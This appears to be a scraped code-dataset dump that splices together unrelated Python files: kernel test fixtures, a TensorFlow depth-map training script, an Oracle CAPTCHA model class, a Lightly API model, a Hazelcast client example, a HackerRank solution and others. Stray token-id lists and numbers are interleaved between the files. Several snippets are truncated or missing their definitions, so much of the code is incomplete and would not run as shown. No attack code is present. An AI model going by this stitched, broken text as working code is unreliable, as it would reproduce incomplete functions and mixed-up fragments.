[(1, D_IN), (1, D_IN)],
[(1, D_IN), (1, 1)],
[(10, D_IN), (10, 1)],
[(10, D_IN), None],
[(100, 1), (100, D_IN)],
[(1, 1, D_IN), (1, 1, 1)],
[(10, 1, D_IN), (10, D_IN)],
[(10, 1, D_IN), (1, 2, 1)],
[(100, 1, 1), (10, D_IN)],
[(100, 1, D_IN), (1, 10, 1)],
[(2, 4, 1, 1, 3, D_IN), (1, 4, 5, 1, 1, 1)],
]
],
name="input_shapes",
)
def fixture_input_shapes(
request, input_dim: int
) -> Tuple[ShapeType, Optional[ShapeType]]:
"""Shapes for the first and second argument of the covariance function. The second
shape is ``None`` if the second argument to the covariance function is ``None``."""
x0_shape, x1_shape = request.param
return (_construct_shape(x0_shape), _construct_shape(x1_shape))
@pytest.fixture(name="x0")
def fixture_x0(
rng: np.random.Generator, input_shapes: Tuple[ShapeType, Optional[ShapeType]]
) -> np.ndarray:
"""The first argument to the covariance function drawn from a standard normal
distribution."""
x0_shape, _ = input_shapes
return rng.normal(0, 1, size=x0_shape)
@pytest.fixture(name="x1")
def fixture_x1(
rng: np.random.Generator,
input_shapes: Tuple[ShapeType, Optional[ShapeType]],
) -> Optional[np.ndarray]:
"""The first argument to the covariance function drawn from a standard normal
distribution."""
_, x1_shape = input_shapes
if x1_shape is None:
return None
return rng.normal(0, 1, size=x1_shape)
@pytest.fixture(name="call_result")
def fixture_call_result(
kernel: pn.kernels.Kernel, x0: np.ndarray, x1: Optional[np.ndarray]
) -> Union[np.ndarray, np.floating]:
"""Result of ``Kernel.__call__`` when given ``x0`` and ``x1``."""
return kernel(x0, x1)
@pytest.fixture(name="call_result_naive")
def fixture_call_result_naive(
kernel_call_naive: Callable[[np.ndarray, Optional[np.ndarray]], np.ndarray],
x0: np.ndarray,
x1: Optional[np.ndarray],
) -> Union[np.ndarray, np.floating]:
"""Result of ``Kernel.__call__`` when applied to the entries of ``x0`` and ``x1`` in
a loop."""
return kernel_call_naive(x0, x1)
def test_type(call_result: Union[np.ndarray, np.floating]):
"""Test whether the type of the output of ``Kernel.__call__`` is a NumPy type, i.e.
an ``np.ndarray`` or a ``np.floating``."""
assert isinstance(call_result, (np.ndarray, np.floating))
def test_shape(
call_result: Union[np.ndarray, np.floating],
call_result_naive: Union[np.ndarray, np.floating],
):
"""Test whether the shape of the output of ``Kernel.__call__`` matches the shape of
the naive reference implementation."""
assert call_result.shape == call_result_naive.shape
def test_values(
call_result: Union[np.ndarray, np.floating],
call_result_naive: Union[np.ndarray, np.floating],
):
"""Test whether the entries of the output of ``Kernel.__call__`` match the entries
generated by the naive reference implementation."""
np.testing.assert_allclose(
call_result,
call_result_naive,
rtol=10 ** -12,
atol=10 ** -12,
)
@pytest.mark.parametrize(
"shape",
[
(),
(1,),
(10,),
(1, 10),
(4, 25),
],
)
def test_wrong_input_dimension(kernel: pn.kernels.Kernel, shape: ShapeType):
"""Test whether passing an input with the wrong input dimension raises an error."""
input_shape = shape + (kernel.input_dim + 1,)
with pytest.raises(ValueError):
kernel(np.zeros(input_shape), None)
with pytest.raises(ValueError):
kernel(np.ones(input_shape), np.zeros(shape + (kernel.input_dim,)))
with pytest.raises(ValueError):
kernel(np.ones(shape + (kernel.input_dim,)), np.zeros(input_shape))
@pytest.mark.parametrize(
"x0_shape,x1_shape",
[
((2,), (8,)),
((2, 5), (3, 5)),
((4, 4), (4, 2)),
],
)
def test_broadcasting_error(
kernel: pn.kernels.Kernel,
x0_shape: np.ndarray,
x1_shape: np.ndarray,
):
"""Test whether an error is raised if the inputs can not be broadcast to a common
shape."""
with pytest.raises(ValueError):
kernel(
np.zeros(x0_shape + (kernel.input_dim,)),
np.ones(x1_shape + (kernel.input_dim,)),
)
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import numpy as np
import tensorflow as tf
import scipy.misc as smc
import config_res as config
from common.cnn_utils_res import *
from common import resnet_rgb_model as model
from common import resnet_depth_model as model_depth
from common import all_transformer as at3
from common import global_agg_net
from common.Lie_functions import exponential_map_single
import nw_loader_color as ldr
import model_utils
_BETA_CONST = 1.0
_ALPHA_CONST = 1.0
IMG_HT = config.depth_img_params['IMG_HT']
IMG_WDT = config.depth_img_params['IMG_WDT']
batch_size = config.net_params['batch_size']
learning_rate = config.net_params['learning_rate']
n_epochs = config.net_params['epochs']
current_epoch = config.net_params['load_epoch']
tf.reset_default_graph()
X1 = tf.placeholder(tf.float32, shape = (batch_size, IMG_HT, IMG_WDT, 3), name = "X1")
X2 = tf.placeholder(tf.float32, shape = (batch_size, IMG_HT, IMG_WDT, 1), name = "X2")
depth_maps_target = tf.placeholder(tf.float32, shape = (batch_size, IMG_HT, IMG_WDT, 1), name = "depth_maps_target")
expected_transforms = tf.placeholder(tf.float32, shape = (batch_size, 4, 4), name = "expected_transforms")
phase = tf.placeholder(tf.bool, [], name = "phase")
phase_rgb = tf.placeholder(tf.bool, [], name = "phase_rgb")
keep_prob = tf.placeholder(tf.float32, name = "keep_prob")
fx = config.camera_params['fx']
fy = config.camera_params['fy']
cx = config.camera_params['cx']
cy = config.camera_params['cy']
fx_scaled = 2*(fx)/np.float32(IMG_WDT) # focal length x scaled for -1 to 1 range
fy_scaled = 2*(fy)/np.float32(IMG_HT) # focal length y scaled for -1 to 1 range
cx_scaled = -1 + 2*(cx - 1.0)/np.float32(IMG_WDT) # optical center x scaled for -1 to 1 range
cy_scaled = -1 + 2*(cy - 1.0)/np.float32(IMG_HT) # optical center y scaled for -1 to 1 range
K_mat_scaled = np.array([[fx_scaled, 0.0, cx_scaled],
[0.0, fy_scaled, cy_scaled],
[0.0, 0.0, 1.0]], dtype = np.float32)
K_final = tf.constant(K_mat_scaled, dtype = tf.float32)
small_transform = tf.constant(config.camera_params['cam_transform_02_inv'], dtype = tf.float32)
X2_pooled = tf.nn.max_pool(X2, ksize=[1,5,5,1], strides=[1,1,1,1], padding="SAME")
depth_maps_target_pooled = tf.nn.max_pool(depth_maps_target, ksize=[1,5,5,1], strides=[1,1,1,1], padding="SAME")
output_vectors, weight_summaries = global_agg_net.End_Net_Out(X1, phase_rgb, X2_pooled, phase, keep_prob)
# se(3) -> SE(3) for the whole batch
predicted_transforms = tf.map_fn(lambda x:exponential_map_single(output_vectors[x]), elems=tf.range(0, batch_size, 1), dtype=tf.float32)
# transforms depth maps by the predicted transformation
depth_maps_predicted, cloud_pred = tf.map_fn(lambda x:at3._simple_transformer(X2_pooled[x,:,:,0]*40.0 + 40.0, predicted_transforms[x], K_final, small_transform), elems = tf.range(0, batch_size, 1), dtype = (tf.float32, tf.float32))
# transforms depth maps by the expected transformation
depth_maps_expected, cloud_exp = tf.map_fn(lambda x:at3._simple_transformer(X2_pooled[x,:,:,0]*40.0 + 40.0, expected_transforms[x], K_final, small_transform), elems = tf.range(0, batch_size, 1), dtype = (tf.float32, tf.float32))
# photometric loss between predicted and expected transformation
photometric_loss = tf.nn.l2_loss(tf.subtract((depth_maps_expected[:,10:-10,10:-10] - 40.0)/40.0, (depth_maps_predicted[:,10:-10,10:-10] - 40.0)/40.0))
# earth mover's distance between point clouds
cloud_loss = model_utils.get_emd_loss(cloud_pred, cloud_exp)
# final loss term
predicted_loss_train = _ALPHA_CONST*photometric_loss + _BETA_CONST*cloud_loss
tf.add_to_collection('losses1', predicted_loss_train)
loss1 = tf.add_n(tf.get_collection('losses1'))
train_step = tf.train.AdamOptimizer(learning_rate = config.net_params['learning_rate'],
beta1 = config.net_params['beta1']).minimize(predicted_loss_train)
predicted_loss_validation = tf.nn.l2_loss(tf.subtract((depth_maps_expected[:,10:-10,10:-10] - 40.0)/40.0, (depth_maps_predicted[:,10:-10,10:-10] - 40.0)/40.0))
cloud_loss_validation = model_utils.get_emd_loss(cloud_pred, cloud_exp)
training_summary_1 = tf.summary.scalar('cloud_loss', _BETA_CONST*cloud_loss)
training_summary_2 = tf.summary.scalar('photometric_loss', photometric_loss)
validation_summary_1 = tf.summary.scalar('Validation_loss', predicted_loss_validation)
validation_summary_2 = tf.summary.scalar('Validation_cloud_loss', cloud_loss_validation)
merge_train = tf.summary.merge([training_summary_1] + [training_summary_2] + weight_summaries)
merge_val = tf.summary.merge([validation_summary_1] + [validation_summary_2])
saver = tf.train.Saver()
# tensorflow gpu configuration. Not to be confused with network configuration file
config_tf = tf.ConfigProto()
config_tf.gpu_options.allow_growth=True
with tf.Session(config = config_tf) as sess:
sess.run(tf.global_variables_initializer())
writer = tf.summary.FileWriter("./logs_simple_transformer/")
total_iterations_train = 0
total_iterations_validate = 0
if(current_epoch == 0):
writer.add_graph(sess.graph)
checkpoint_path = config.paths['checkpoint_path']
if(current_epoch > 0):
print("Restoring Checkpoint")
saver.restore(sess, checkpoint_path + "/model-%d"%current_epoch)
current_epoch+=1
total_iterations_train = current_epoch*config.net_params['total_frames_train']/batch_size
total_iterations_validate = current_epoch*config.net_params['total_frames_validation']/batch_size
for epoch in range(current_epoch, n_epochs):
total_partitions_train = config.net_params['total_frames_train']/config.net_params['partition_limit']
total_partitions_validation = config.net_params['total_frames_validation']/config.net_params['partition_limit']
ldr.shuffle()
for part in range(total_partitions_train):
source_container, target_container, source_img_container, target_img_container, transforms_container = ldr.load(part, mode = "train")
for source_b, target_b, source_img_b, target_img_b, transforms_b in zip(source_container, target_container, source_img_container, target_img_container, transforms_container):
outputs= sess.run([depth_maps_predicted, depth_maps_expected, predicted_loss_train, X2_pooled, train_step, merge_train, predicted_transforms, cloud_loss, photometric_loss, loss1], feed_dict={X1: source_img_b, X2: source_b, depth_maps_target: target_b, expected_transforms: transforms_b ,phase:True, keep_prob:0.5, phase_rgb: False})
dmaps_pred = outputs[0]
dmaps_exp = outputs[1]
loss = outputs[2]
source = outputs[3]
if(total_iterations_train%10 == 0):
writer.add_summary(outputs[5], total_iterations_train/10)
print(outputs[8], _ALPHA_CONST*outputs[8], outputs[7], _BETA_CONST*outputs[7], outputs[9],total_iterations_train)
random_disp = np.random.randint(batch_size)
print(outputs[6][random_disp])
print(transforms_b[random_disp])
if(total_iterations_train%125 == 0):
smc.imsave(config.paths['training_imgs_path'] + "/training_save_%d.png"%total_iterations_train, np.vstack((source[random_disp,:,:,0]*40.0 + 40.0, dmaps_pred[random_disp], dmaps_exp[random_disp])))
total_iterations_train+=1
if (epoch%1 == 0):
print("Saving after epoch %d"%epoch)
saver.save(sess, checkpoint_path + "/model-%d"%epoch)
for part in range(total_partitions_validation):
source_container, target_container, source_img_container, target_img_container, transforms_container = ldr.load(part, mode = "validation")
for source_b, target_b, source_img_b, target_img_b, transforms_b in zip(source_container, target_container, source_img_container, target_img_container, transforms_container):
outputs= sess.run([depth_maps_predicted, depth_maps_expected, predicted_loss_validation, X2_pooled, merge_val, cloud_loss_validation], feed_dict={X1: source_img_b, X2: source_b, depth_maps_target: target_b, expected_transforms: transforms_b ,phase:False, keep_prob:1.0, phase_rgb: False})
dmaps_pred = outputs[0]
dmaps_exp = outputs[1]
loss = outputs[2]
source = outputs[3]
writer.add_summary(outputs[4], total_iterations_validate)
total_iterations_validate+=1
print(loss, total_iterations_validate, outputs[5])
if(total_iterations_validate%25 == 0):
random_disp = np.random.randint(batch_size)
smc.imsave(config.paths['validation_imgs_path'] + "/validation_save_%d.png"%total_iterations_validate, np.vstack((source[random_disp,:,:,0]*40.0 + 40.0, dmaps_pred[random_disp], dmaps_exp[random_disp]))) | [
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] | 2.404482 | 3,748 |
import random
from art import logo, vs
from utils import clear
from game_data import data
game() | [
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198,
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628,
198,
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] | 3.571429 | 28 |
from . import kernel_approximation # noqa
from ._version import __version__
__all__ = ["__version__"]
| [
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] | 3.181818 | 33 |
"""Pending deprecation file.
To view the actual content, go to: flow/envs/multiagent/ring/accel.py
"""
from flow.utils.flow_warnings import deprecated
from flow.envs.multiagent.ring.accel import AdversarialAccelEnv as MAAEnv
@deprecated('flow.multiagent_envs.loop.loop_accel',
'flow.envs.multiagent.ring.accel.AdversarialAccelEnv')
class AdversarialAccelEnv(MAAEnv):
"""See parent class."""
pass
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] | 2.625 | 160 |
from .ucr import *
from .ett_small import ETTSmall
| [
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] | 2.833333 | 18 |
# coding: utf-8
# Copyright (c) 2016, 2020, Oracle and/or its affiliates. All rights reserved.
# This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may choose either license.
from oci.util import formatted_flat_dict, NONE_SENTINEL, value_allowed_none_or_none_sentinel # noqa: F401
from oci.decorators import init_model_state_from_kwargs
@init_model_state_from_kwargs
class Captcha(object):
"""
The settings of the CAPTCHA challenge. If a specific URL should be accessed only by a human, a CAPTCHA challenge can be placed at the URL to protect the web application from bots.
*Warning:* Oracle recommends that you avoid using any confidential information when you supply string values using the API.
"""
def __init__(self, **kwargs):
"""
Initializes a new Captcha object with values from keyword arguments.
The following keyword arguments are supported (corresponding to the getters/setters of this class):
:param url:
The value to assign to the url property of this Captcha.
:type url: str
:param session_expiration_in_seconds:
The value to assign to the session_expiration_in_seconds property of this Captcha.
:type session_expiration_in_seconds: int
:param title:
The value to assign to the title property of this Captcha.
:type title: str
:param header_text:
The value to assign to the header_text property of this Captcha.
:type header_text: str
:param footer_text:
The value to assign to the footer_text property of this Captcha.
:type footer_text: str
:param failure_message:
The value to assign to the failure_message property of this Captcha.
:type failure_message: str
:param submit_label:
The value to assign to the submit_label property of this Captcha.
:type submit_label: str
"""
self.swagger_types = {
'url': 'str',
'session_expiration_in_seconds': 'int',
'title': 'str',
'header_text': 'str',
'footer_text': 'str',
'failure_message': 'str',
'submit_label': 'str'
}
self.attribute_map = {
'url': 'url',
'session_expiration_in_seconds': 'sessionExpirationInSeconds',
'title': 'title',
'header_text': 'headerText',
'footer_text': 'footerText',
'failure_message': 'failureMessage',
'submit_label': 'submitLabel'
}
self._url = None
self._session_expiration_in_seconds = None
self._title = None
self._header_text = None
self._footer_text = None
self._failure_message = None
self._submit_label = None
@property
def url(self):
"""
**[Required]** Gets the url of this Captcha.
The unique URL path at which to show the CAPTCHA challenge.
:return: The url of this Captcha.
:rtype: str
"""
return self._url
@url.setter
def url(self, url):
"""
Sets the url of this Captcha.
The unique URL path at which to show the CAPTCHA challenge.
:param url: The url of this Captcha.
:type: str
"""
self._url = url
@property
def session_expiration_in_seconds(self):
"""
**[Required]** Gets the session_expiration_in_seconds of this Captcha.
The amount of time before the CAPTCHA expires, in seconds. If unspecified, defaults to `300`.
:return: The session_expiration_in_seconds of this Captcha.
:rtype: int
"""
return self._session_expiration_in_seconds
@session_expiration_in_seconds.setter
def session_expiration_in_seconds(self, session_expiration_in_seconds):
"""
Sets the session_expiration_in_seconds of this Captcha.
The amount of time before the CAPTCHA expires, in seconds. If unspecified, defaults to `300`.
:param session_expiration_in_seconds: The session_expiration_in_seconds of this Captcha.
:type: int
"""
self._session_expiration_in_seconds = session_expiration_in_seconds
@property
def title(self):
"""
**[Required]** Gets the title of this Captcha.
The title used when displaying a CAPTCHA challenge. If unspecified, defaults to `Are you human?`
:return: The title of this Captcha.
:rtype: str
"""
return self._title
@title.setter
def title(self, title):
"""
Sets the title of this Captcha.
The title used when displaying a CAPTCHA challenge. If unspecified, defaults to `Are you human?`
:param title: The title of this Captcha.
:type: str
"""
self._title = title
@property
def header_text(self):
"""
Gets the header_text of this Captcha.
The text to show in the header when showing a CAPTCHA challenge. If unspecified, defaults to 'We have detected an increased number of attempts to access this website. To help us keep this site secure, please let us know that you are not a robot by entering the text from the image below.'
:return: The header_text of this Captcha.
:rtype: str
"""
return self._header_text
@header_text.setter
def header_text(self, header_text):
"""
Sets the header_text of this Captcha.
The text to show in the header when showing a CAPTCHA challenge. If unspecified, defaults to 'We have detected an increased number of attempts to access this website. To help us keep this site secure, please let us know that you are not a robot by entering the text from the image below.'
:param header_text: The header_text of this Captcha.
:type: str
"""
self._header_text = header_text
@property
def footer_text(self):
"""
Gets the footer_text of this Captcha.
The text to show in the footer when showing a CAPTCHA challenge. If unspecified, defaults to 'Enter the letters and numbers as they are shown in the image above.'
:return: The footer_text of this Captcha.
:rtype: str
"""
return self._footer_text
@footer_text.setter
def footer_text(self, footer_text):
"""
Sets the footer_text of this Captcha.
The text to show in the footer when showing a CAPTCHA challenge. If unspecified, defaults to 'Enter the letters and numbers as they are shown in the image above.'
:param footer_text: The footer_text of this Captcha.
:type: str
"""
self._footer_text = footer_text
@property
def failure_message(self):
"""
**[Required]** Gets the failure_message of this Captcha.
The text to show when incorrect CAPTCHA text is entered. If unspecified, defaults to `The CAPTCHA was incorrect. Try again.`
:return: The failure_message of this Captcha.
:rtype: str
"""
return self._failure_message
@failure_message.setter
def failure_message(self, failure_message):
"""
Sets the failure_message of this Captcha.
The text to show when incorrect CAPTCHA text is entered. If unspecified, defaults to `The CAPTCHA was incorrect. Try again.`
:param failure_message: The failure_message of this Captcha.
:type: str
"""
self._failure_message = failure_message
@property
def submit_label(self):
"""
**[Required]** Gets the submit_label of this Captcha.
The text to show on the label of the CAPTCHA challenge submit button. If unspecified, defaults to `Yes, I am human`.
:return: The submit_label of this Captcha.
:rtype: str
"""
return self._submit_label
@submit_label.setter
def submit_label(self, submit_label):
"""
Sets the submit_label of this Captcha.
The text to show on the label of the CAPTCHA challenge submit button. If unspecified, defaults to `Yes, I am human`.
:param submit_label: The submit_label of this Captcha.
:type: str
"""
self._submit_label = submit_label
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46002,
62,
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796,
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] | 2.574674 | 3,301 |
# coding:utf-8
from django.core.cache import cache
| [
2,
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] | 2.944444 | 18 |
# -*- coding: utf-8 -*-
"""
TencentBlueKing is pleased to support the open source community by making 蓝鲸智云-权限中心(BlueKing-IAM) available.
Copyright (C) 2017-2021 THL A29 Limited, a Tencent company. All rights reserved.
Licensed under the MIT License (the "License"); you may not use this file except in compliance with the License.
You may obtain a copy of the License at http://opensource.org/licenses/MIT
Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on
an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
specific language governing permissions and limitations under the License.
"""
from typing import List
from pydantic import BaseModel
from backend.common.error_codes import error_codes
from backend.service.models import ResourceCreatorActionConfigItem
from backend.service.resource_creator_action import ResourceCreatorActionService
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62,
2673,
1330,
20857,
16719,
273,
12502,
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628,
198
] | 3.834646 | 254 |
from Crypto.Util.number import *
import requests
import json
import codecs
import base64 | [
6738,
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346,
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] | 3.826087 | 23 |
import unittest
import random
from day04 import Guard, get_guard_patterns,get_guard_most_asleep, guard_most_frequently_asleep
if __name__ == "__main__":
unittest.main()
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] | 2.809524 | 63 |
{
"targets": [
{
"target_name": "shmnode",
"sources": ["shm.cpp"]
}
]
}
| [
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] | 1.866667 | 45 |
import hazelcast
client = hazelcast.HazelcastClient(
# Set up cluster name for authentication
cluster_name="YOUR_CLUSTER_NAME",
# Set the token of your cloud cluster
cloud_discovery_token="YOUR_CLUSTER_DISCOVERY_TOKEN",
# If you have enabled encryption for your cluster, also configure TLS/SSL for the client.
# Otherwise, skip options below.
ssl_enabled=True,
ssl_cafile="/path/to/ca.pem",
ssl_certfile="/path/to/cert.pem",
ssl_keyfile="/path/to/key.pem",
ssl_password="YOUR_KEY_STORE_PASSWORD",
)
my_map = client.get_map("map-on-the-cloud").blocking()
my_map.put("key", "value")
print(my_map.get("key"))
client.shutdown()
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2539,
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] | 2.555133 | 263 |
# importing libraries
from keras.layers import Dense , Dropout ,Flatten , MaxPooling2D
from keras.models import Model
# define model
# importing MobileNet_v2 for higher accuracy
from keras.applications import MobileNetV2
mobile = MobileNetV2(input_shape=(224,224,3),include_top=False,weights='imagenet')
#print(mobile.summary())
# layer should not be change
for layer in mobile.layers:
layer.trainable = False
# Make output layer of mobilenet
op_layer = mobile.output
op_layer = MaxPooling2D(pool_size=(6,6))(op_layer)
op_layer = Flatten()(op_layer)
op_layer = Dense(128,activation='relu')(op_layer)
op_layer = Dropout((0.5))(op_layer)
op_layer = Dense(2,activation= 'softmax')(op_layer)
# Define model input and output
model = Model(inputs = mobile.input , outputs = op_layer)
# compiling model
model.compile(optimizer = 'adam',
loss = 'binary_crossentropy',
metrics = ['acc'])
# defining a new model as feature extractor for svm and xgboost
model_new = Model(inputs = mobile.input , outputs = op_layer)
#compiling model
model_new.compile(optimizer = 'adam', loss = 'categorical_crossentropy', metrics = ['acc'])
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] | 2.833741 | 409 |
#!/usr/bin/python
# Copyright (c) 2020, Oracle and/or its affiliates.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl.
"""Provide Module Description
"""
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
__author__ = ["Andrew Hopkinson (Oracle Cloud Solutions A-Team)"]
__version__ = "1.0.0"
__module__ = "ociTenancy"
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
from common.okitLogging import getLogger
from facades.ociCompartment import OCICompartments
# Configure logging
logger = getLogger()
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1362,
796,
651,
11187,
1362,
3419,
628,
628
] | 3.839286 | 168 |
#!/bin/python3
# https://www.hackerrank.com/challenges/crush
import sys
if __name__ == "__main__":
n, m = input().strip().split(' ')
n, m = [int(n), int(m)]
arr = [0] * (n+1)
for a0 in range(m):
a, b, k = input().strip().split(' ')
a, b, k = [int(a), int(b), int(k)]
arr[a-1] += k
arr[b] -= k
t, r = [0, 0]
for i in range(0, n):
t += arr[i]
r = max(r, t)
print(r)
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11,
256,
8,
628,
220,
220,
220,
3601,
7,
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8,
198
] | 1.82377 | 244 |
SITE = "https://www.google.com/"
NAME = ["Michael", "Wayne", "Phelps"]
KEYS = {1: 2, 3: 4}
AGE = 1000
BIRTH_YEAR = 2050
if __name__ == '__main__':
main()
| [
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] | 2.25 | 72 |
# coding=utf-8
import numpy as np
import time
# Putil
import data.augment as paug
import base.logger as plog
GaussianAugmentLogger = plog.PutilLogConfig('gaussian_augment').logger()
GaussianAugmentLogger.setLevel(plog.DEBUG)
class GaussianAugment(paug.Augment):
'''
config:
mu: []
sigma: []
'''
def augment(self, data, label=None):
'''
data: [batch, height, width, channel]
label: [batch, *]
'''
dc = []
dc.append(data)
for mu in self._config['mu']:
for sigma in self._config['sigma']:
#np.random.seed((time.time()))
noise = np.random.normal(mu, sigma, data.size)
noise = np.reshape(noise, data.shape)
dc.append(noise)
pass
pass
ret = np.concatenate(dc, axis=0)
return ret
pass
pass
#In[]:
#import numpy as np
#
#a = np.zeros(shape=[1, 1, 10, 1, 10, 1])
#np.squeeze(a).shape | [
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# coding: utf-8
"""
Lightly API
Lightly.ai enables you to do self-supervised learning in an easy and intuitive way. The lightly.ai OpenAPI spec defines how one can interact with our REST API to unleash the full potential of lightly.ai # noqa: E501
OpenAPI spec version: 1.0.0
Contact: [email protected]
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re # noqa: F401
import six
from lightly.openapi_generated.swagger_client.configuration import Configuration
class ConfigurationEntry(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
swagger_types = {
'name': 'str',
'path': 'str',
'default_value': 'Object',
'value_data_type': 'ConfigurationValueDataType'
}
attribute_map = {
'name': 'name',
'path': 'path',
'default_value': 'defaultValue',
'value_data_type': 'valueDataType'
}
def __init__(self, name=None, path=None, default_value=None, value_data_type=None, _configuration=None): # noqa: E501
"""ConfigurationEntry - a model defined in Swagger""" # noqa: E501
if _configuration is None:
_configuration = Configuration()
self._configuration = _configuration
self._name = None
self._path = None
self._default_value = None
self._value_data_type = None
self.discriminator = None
self.name = name
self.path = path
self.default_value = default_value
self.value_data_type = value_data_type
@property
def name(self):
"""Gets the name of this ConfigurationEntry. # noqa: E501
the name of this entry which is displayed in the UI # noqa: E501
:return: The name of this ConfigurationEntry. # noqa: E501
:rtype: str
"""
return self._name
@name.setter
def name(self, name):
"""Sets the name of this ConfigurationEntry.
the name of this entry which is displayed in the UI # noqa: E501
:param name: The name of this ConfigurationEntry. # noqa: E501
:type: str
"""
if self._configuration.client_side_validation and name is None:
raise ValueError("Invalid value for `name`, must not be `None`") # noqa: E501
self._name = name
@property
def path(self):
"""Gets the path of this ConfigurationEntry. # noqa: E501
the path is the dotnotation which is used to easily access the customMetadata JSON structure of a sample e.g myArray[0].myObject.field # noqa: E501
:return: The path of this ConfigurationEntry. # noqa: E501
:rtype: str
"""
return self._path
@path.setter
def path(self, path):
"""Sets the path of this ConfigurationEntry.
the path is the dotnotation which is used to easily access the customMetadata JSON structure of a sample e.g myArray[0].myObject.field # noqa: E501
:param path: The path of this ConfigurationEntry. # noqa: E501
:type: str
"""
if self._configuration.client_side_validation and path is None:
raise ValueError("Invalid value for `path`, must not be `None`") # noqa: E501
self._path = path
@property
def default_value(self):
"""Gets the default_value of this ConfigurationEntry. # noqa: E501
the default value used if its not possible to extract the value using the path or if the value extracted is nullish # noqa: E501
:return: The default_value of this ConfigurationEntry. # noqa: E501
:rtype: Object
"""
return self._default_value
@default_value.setter
def default_value(self, default_value):
"""Sets the default_value of this ConfigurationEntry.
the default value used if its not possible to extract the value using the path or if the value extracted is nullish # noqa: E501
:param default_value: The default_value of this ConfigurationEntry. # noqa: E501
:type: Object
"""
if self._configuration.client_side_validation and default_value is None:
raise ValueError("Invalid value for `default_value`, must not be `None`") # noqa: E501
self._default_value = default_value
@property
def value_data_type(self):
"""Gets the value_data_type of this ConfigurationEntry. # noqa: E501
:return: The value_data_type of this ConfigurationEntry. # noqa: E501
:rtype: ConfigurationValueDataType
"""
return self._value_data_type
@value_data_type.setter
def value_data_type(self, value_data_type):
"""Sets the value_data_type of this ConfigurationEntry.
:param value_data_type: The value_data_type of this ConfigurationEntry. # noqa: E501
:type: ConfigurationValueDataType
"""
if self._configuration.client_side_validation and value_data_type is None:
raise ValueError("Invalid value for `value_data_type`, must not be `None`") # noqa: E501
self._value_data_type = value_data_type
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
if issubclass(ConfigurationEntry, dict):
for key, value in self.items():
result[key] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, ConfigurationEntry):
return False
return self.to_dict() == other.to_dict()
def __ne__(self, other):
"""Returns true if both objects are not equal"""
if not isinstance(other, ConfigurationEntry):
return True
return self.to_dict() != other.to_dict()
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] | 2.447441 | 2,892 |
import glob
import collections
import os
in_path = '/media/jayson/software/WS/preprocessed/preprocessed/*'
vocab_root = '/media/jayson/study/graduation project/paper/experimens/moldes-May'
pos_vocab_counter = collections.Counter()
ner_vocab_counter = collections.Counter()
file_list = glob.glob(in_path)
for idx, file_name in enumerate(file_list):
if idx % 10000 == 0: print('start to update vocab of example %d...' % idx)
lines = file_content(file_name)
pos_vocab_counter.update(lines[1].split(' '))
pos_vocab_counter.update(lines[4].split(' '))
ner_vocab_counter.update(lines[2].split(' '))
ner_vocab_counter.update(lines[5].split(' '))
print('start to write pos_vocab...')
with open(os.path.join(vocab_root, 'pos_vocab_full'), 'w') as writer:
for word, count in pos_vocab_counter.most_common():
writer.write(word + ' ' + str(count) + '\n')
print('pos_vocab is written to %s.' % os.path.join(vocab_root, 'pos_vocab_full'))
print('start to write ner_vocab...')
with open(os.path.join(vocab_root, 'ner_vocab_full'), 'w') as writer:
for word, count in ner_vocab_counter.most_common():
writer.write(word + ' ' + str(count) + '\n')
print('pos_vocab is written to %s.' % os.path.join(vocab_root, 'ner_vocab_full'))
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6,
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198
] | 2.648707 | 464 |
#!/usr/bin/python
#
# Copyright 2015 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""This example deletes an ad group by setting the status to 'REMOVED'.
To get ad groups, run get_ad_groups.py.
The LoadFromStorage method is pulling credentials and properties from a
"googleads.yaml" file. By default, it looks for this file in your home
directory. For more information, see the "Caching authentication information"
section of our README.
"""
from googleads import adwords
AD_GROUP_ID = 'INSERT_AD_GROUP_ID_HERE'
if __name__ == '__main__':
# Initialize client object.
adwords_client = adwords.AdWordsClient.LoadFromStorage()
main(adwords_client, AD_GROUP_ID)
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] | 3.527697 | 343 |
class MITCampus(Campus):
""" A MITCampus is a Campus that contains tents """
def __init__(self, center_loc, tent_loc=Location(0, 0)):
""" Assumes center_loc and tent_loc are Location objects
Initializes a new Campus centered at location center_loc
with a tent at location tent_loc """
self.center_loc = center_loc
self.tent_loc = []
self.tent_loc.append(tent_loc)
def add_tent(self, new_tent_loc):
""" Assumes new_tent_loc is a Location
Adds new_tent_loc to the campus only if the tent is at least 0.5 distance
away from all other tents already there. Campus is unchanged otherwise.
Returns True if it could add the tent, False otherwise. """
for each_loc in self.tent_loc:
